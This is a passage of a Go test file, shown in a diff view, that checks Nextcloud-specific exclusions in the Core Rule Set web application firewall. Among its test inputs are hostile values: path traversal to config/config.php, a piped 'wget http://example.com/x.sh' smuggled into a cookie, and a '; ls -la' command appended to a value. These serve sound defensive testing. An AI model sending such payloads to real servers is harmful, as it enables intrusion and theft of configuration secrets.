{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||
{
|
||||
http.MethodPut, "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom",
|
||||
jsonBody, `{"message":"%s"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||
{
|
||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudTexts are the fields that hold what a person writes, which skip
|
||||
// 932125 and 932230 too.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudTexts = []nextcloudBody{
|
||||
{http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`},
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||
{
|
||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
|
||||
`</d:propertyupdate>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudScores returns the score that the Core Rule Set, reading bodies,
|
||||
// gives each request that sends value, a query value, in one of the fields
|
||||
// above, keyed by the request. The texts hold text in its place.
|
||||
func nextcloudScores(t *testing.T, value, text string) map[string]int {
|
||||
t.Helper()
|
||||
|
||||
crs := readingBodies(t)
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, target := range nextcloudQueryFields {
|
||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudFormFields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
scores["POST "+sent.target+" "+sent.field+value] = got.Score
|
||||
}
|
||||
|
||||
send := func(sent nextcloudBody, value string) {
|
||||
written, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if sent.contentType == xmlBody {
|
||||
written = html.EscapeString(written)
|
||||
}
|
||||
|
||||
body := strings.Replace(sent.body, "%s", written, 1)
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
scores[sent.method+" "+sent.target+" "+body] = got.Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudBodies {
|
||||
send(sent, value)
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudTexts {
|
||||
send(sent, text)
|
||||
}
|
||||
|
||||
return scores
|
||||
}
|
||||
|
||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, value := range hardValues {
|
||||
// A text names the command or file in a sentence that runs ls -la
|
||||
// after a ";", as recorded.
|
||||
text := "Run%20" + value + "%3B%20ls%20-la%20next"
|
||||
|
||||
for request, score := range nextcloudScores(t, value, text) {
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fconfig%2Fconfig.php",
|
||||
scriptInjection,
|
||||
nextcloudCommandAttack,
|
||||
} {
|
||||
for request, score := range nextcloudScores(t, attack, attack) {
|
||||
if score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
cookie := func(value string) request {
|
||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||
}
|
||||
|
||||
for _, value := range hardValues {
|
||||
name, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
wantResult(t, crs, cookie(name), matched())
|
||||
}
|
||||
|
||||
// A cookie cannot hold a ";", so the command follows a "|" instead.
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
"../../config/config.php",
|
||||
scriptTag,
|
||||
"x|wget http://example.com/x.sh",
|
||||
} {
|
||||
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_username=%s let through: %+v", attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_other=python3 let through: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, method := range []string{
|
||||
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
|
||||
nextcloudSearch,
|
||||
} {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
|
||||
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched())
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched(911100))
|
||||
}
|
||||
}
|
||||
|
||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
||||
}
|
||||
|
||||
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE"}
|
||||
|
||||
for _, method := range methods {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles + "../../../config/config.php",
|
||||
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
|
||||
} {
|
||||
got := inspect(t, crs, request{method, target, nil})
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s let through: %+v", method, target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?dir=python3",
|
||||
"/apps/other/?dir=python3",
|
||||
"/apps/files/?other=python3",
|
||||
"/login?other=python3",
|
||||
"/x/login?user=python3",
|
||||
nextcloudShare + "?files=powershell",
|
||||
"/?file=powershell",
|
||||
"/?search=python3",
|
||||
nextcloudUsers + "?other=python3",
|
||||
"/x/ocs/v2.php/cloud/users?search=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range []nextcloudBody{
|
||||
// A JSON field of the same name in the query keeps the rules.
|
||||
{
|
||||
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
|
||||
jsonBody, `{"message":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
|
||||
jsonBody, `{"value":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, nextcloudUsers + "?json.userid=python3",
|
||||
jsonBody, `{"userid":"python3"}`,
|
||||
},
|
||||
// Other JSON fields keep them.
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
|
||||
// XML on another path, or with another method, keeps them.
|
||||
{
|
||||
nextcloudSearch, nextcloudFiles,
|
||||
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
|
||||
},
|
||||
{
|
||||
nextcloudPropPatch, nextcloudFiles + "notes.txt",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
{
|
||||
"REPORT", "/remote.php/dav/comments/files/1/2",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
} {
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
+1317
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user